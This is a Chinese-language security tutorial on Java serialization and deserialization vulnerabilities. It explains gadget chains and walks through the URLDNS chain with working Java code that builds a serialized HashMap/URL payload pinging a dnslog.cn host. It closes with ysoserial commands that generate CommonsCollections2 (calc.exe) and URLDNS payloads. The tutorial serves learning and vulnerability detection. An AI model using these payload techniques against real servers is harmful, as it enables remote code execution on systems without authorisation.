java序列化与反序列化

xiao1star2024-11-15文章来源:SecHub网络安全社区


java序列化与反序列化

序列化是用于将对象转换成二进制串存储,对应着writeObject,反序列正好相反将二进制串转换成对象,对应着readObject


函数

一般可以是java自身的函数,还可以是第三方组件来实现

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject(fastison框架)

利用类别

引用库包调用反射(如:ysoserial工具),自身框架组件特性(如:Fastjson)

常见的反序列化漏洞框架组件

fastjson、shiro、jackson、CommonsCollections等

挖掘思路

  • 原生态的关键函数搜索

  • 框架组件的引用查看获取

  1. 寻找反序列化操作(正常业务功能需要)
  2. 过滤情况可以利用的库(反序列化操作原生态还是框架调用)
  3. 利用链

概念

我们需要保存某一刻某个对象的信息,来进行一些操作,比如利用反序列化将程序运行的对象状态以二进制形式存储与文件系统中,然后可以在另一个程序中对序列化的对象状态数据进行反序列化恢复对象,可以有效地实现多平台之间的通信,对象持久化存储

序列化

编写一个可以序列化的类

在java类当中,如果一个类需要被序列化和反序列化,需要实现java.io.Serialize接口

import java.io.Serializable;

public class test implements Serializable {
    public String name;
    public int age;
}

跟进这个java.io.Serialize接口,可以发现这是一个空接口,其实这个接口只是为了在序列化和反序列化中做一个类型判断

202405131949811.png

序列化类

java原生实现了一套序列化的机制,这让我们不需要额外编写代码,只需要实现Java.io.Serialize接口,并调用ObjectOutputstream类中的writeObject即可

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Test {
    public static void main(String[] args) throws IOException {
        Person person=new Person();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(person);
        objectOutputStream.close();
    }
    
}

我们对ObjectOutputStream进行一下解释,ObjectOutputStream代表对象输出流,它的**writeObject(Object obj)**方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中

需要注意的是

  • 在序列化的过程中,是针对对象本身,而非针对类的,所以静态属性是不参与序列化和反序列化的过程。

  • 如果属性本身声明了transient关键字,也会被忽略

  • 如果所继承的A类(该类实现了Serialize接口),那么A类的对象的对象属性也会被序列化和反序列化

Serialize接口测验

//Person类
import java.io.Serializable;

public class Person {
    public String name;
    public int age;
}

//Test类
import java.io.*;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person=new Person();
        person.name="star";
        person.age=25;
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(person);
        objectOutputStream.close();

        //反序列化
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.bin"));
        Person a = (Person) objectInputStream.readObject();
        System.out.println("反序列化之后的结果"+a.name);
        System.out.println(a.age);
    }

}

如果类没有实现java.io.Serialize接口就会有报错

transient测试

//person类
public class Person implements  Serializable{
    static String name;
    public int age;
    transient int weight;
}
//test类
import java.io.*;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person=new Person();
        person.name="star";
        person.age=25;
        person.weight=100;
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(person);
        objectOutputStream.close();
  }
}
//Test1
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Test1 {
    //反序列化
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Person a = (Person) objectInputStream.readObject();
        System.out.println("反序列化之后的name:" + a.name);
        System.out.println("反序列化之后的age:" + a.age);
        System.out.println("反序列化之后的weight:" + a.weight);
    }
}

结果
反序列化之后的name:null
反序列化之后的age:25
反序列化之后的weight:0

发现并没有对我们的name和weight进行序列化和反序列化,因为我们的name被static修饰,而我们的weight被transient修饰

这里还要注意一点我们的反序列化操作和序列化操作不要放在一个类中,不然就会出现如下情况

person类

202408301657465.png

序列化与反序列化类

202405132001921.png

发现我们的name竟然被赋值了,这是因为我们并没有序列化static变量,所以它并没有被写入流中,所以当我们要读取name的值时,它不可能在反序列化的文件里找到新的值,而是去全局数据区取值,因为全局数据区的值现在是star,所以读取出来的值就是改变后的值star了。

反序列化

序列化使用的是ObjectOutputStream类,反序列化使用的则是ObjectInputStream类中的readObject方法,readObject函数返回的是Object类型的对象,因此需要做强制的类型转换

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Person a = (Person) objectInputStream.readObject();

ObjectInputStream代表对象输入流,它的**readObject()**方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

serialVersionUID

serialVersionUID适用于java序列化机制。简单来说,JAVA序列化的机制是通过 判断类的serialVersionUID来验证的版本一致的。在进行反序列化时,JVM会把传来的字节流中的serialVersionUID于本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的,可以进行反序列化,否则会出现反序列化版本一致的异常,即是InvalidCastException。通俗来讲serialVersionUID就是判断你要序列化的内容与对应的实体类是否一致。

举例

如下图该类的serialVersionUID是1L

202408301644119.png

之后我们将其进行反序列化操作,生成一个serialVersionUID为1L的序列化文件

202408301646180.png

之后我们再将对应的实体类的serialVersionUID修改为4359709211352400087L

202408301648748.png

之后我们再对刚刚的序列化文件进行反序列化操作,发现由于serialVersionUID的不同发生了报错

202408301649951.png

反序列化漏洞利用

产生原理:

只要服务端反序列化数据,客户端传递的类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力

漏洞利用的存在形式

1.入口类的readObject直接调用方法。

image.png![image-20240429202943183]

重写了readObject方法,执行Runtime.getRuntime().exec(“calc”);操作

defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法


2.入口类参数中包含了可控类,该类有危险方法,使用readObject时调用

3.入口类中含有可控类,该类又调用其他有危险方法的类,使用readObect时调用

但是我们一般情况下是不清楚服务器类有哪些类的,所以我们很难去控制它,那么我们的入手点就是jdk自带的类

需要的条件

  • 继承Serializable
  • 入口类source(重写了readObject,调用常见的方法,参数类型广泛,尽量是jdk自带)
  • 调用链 gadget chain (相同名称,相同类型)
  • 执行类sink(rec ssrf 写文件等),最重要的部分

HashMap

我们就发现Hashmap就是我们的想要找的入口类

  • 继承了serializable,参数类型十分广泛

image.png

  • 重写了readObject

image.png

那么为什么要重写readObject呢


HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的,所以为了确保不同的VM的得到的key的Hash值相同重写了readObject方法,导致HashMap序列化的时候不会将保存数据的数组序列化,而是将元素个数以及每个元素的Key和Value都进行序列化。

具体详细的可以参考如下链接

为什么HashMap要自己实现writeObject和readObject方法

我们接着重写的readObject方法往下看

image.png

image.png

发现将调用了hash()方法,在hash()方法中我们发现key直接调用了hashCode()方法,这是因为Object类中有hashCode方法。同时也有equals、toString等方法

那么当我们找利用链时,这个链中重写了上面的方法,并且这些方法里面有一些潜在的危险函数,并且还可以反序列,那么这就是我们利用链上的类

URLDNS链

URLDNS 是 ysoserial 中的一条利用链,通常用于检测是否存在 Java 反序列化漏洞,该利用链具有如下特点 URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求

接下来我们就分析一下这个链

在Java中存在一个URL类,我们跟进发现它继承了Serializable类

202405132003179.png

同时我们需要找一个URL中常见的函数

我们就找到了hashCode方法

202405132004715.png

分析上面代码我们可以看到当hashCode为-1时,就会调用handler.hashCode方法,这个handler属于URLStreamHandler类。我们跟进handler.hashCode()方法

202405132006679.png

我们发现调用了getHostAddress方法,就是根据域名了获取IP地址。那么肯定会进行一个域名解析的动作

也就是说我们调用url的hashcode函数,就可以得到一个DNS请求

也就是说调用hashmap中的hash函数,通过key.hashcode来走到URL中的hashcode

通过以上分析再结合HashMap,我们就可以把HashMap作为入口类,URL作为一个执行类

//错误示范
        HashMap<URL,String> hashmap1=new HashMap<URL,String>();
        hashmap1.put(new URL("http://t03vg6.dnslog.cn"),"123");

put方法会有调用一个hash()方法,就导致无法调用readObject方法中的hashcode()方法

202405151655200.png

进而调用url的hashcode方法,进而导致调用handler.hashCode(this)方法,从而导致发送DNS请求

202405151658760.png

所以需要避免使用put方法,在URL类中hashCode为-1的情况下,调用handler.hashCode然后发送DNS请求,就无法验证是否出现反序列漏洞

//序列化文件
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        HashMap<URL,String> hashmap=new HashMap<URL, String>();//将key值设置为URL类型,以便我们根据HashMap中的hashCode方法来调用URL中的hashCode方法

        URL url=new URL("http://t03vg6.dnslog.cn");
        Class a=url.getClass();//获取url类的Class对象
		//利用反射不让ashCode的值为-1,防止未反序列化就执行了getHostAddress()函数
        Field urlFiled=a.getDeclaredField("hashCode");
        urlFiled.setAccessible(true);
        urlFiled.set(url,123);//防止hashCode为-1直接调用getHostAddress()函数

        hashmap.put(url,"sfasf");
        urlFiled.set(url,-1);//防止hashCode为1以便反序列化时调用getHostAddress()函数,触发DNSlog
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.ser"));
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
    }

}
//反序列化类
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Test1 {
    //反序列化
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.ser"));
        Object object=objectInputStream.readObject();
    }
}

我们就可以接受到相关的请求

总结

整个URLDNS链就是:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. inetAddress->getByName()

生成paylod工具

ysoserial

下载地址:Releases · frohoff/ysoserial (github.com)

有关命令:

​ 调出计算机

java -jar ysoserial-all.jar CommonsCollections2 "calc.exe" > cc2.bin

​ DNSlog

java -jar ysoserial-all.jar URLDNS "http://odzhf6.dnslog.cn" > aaa.bin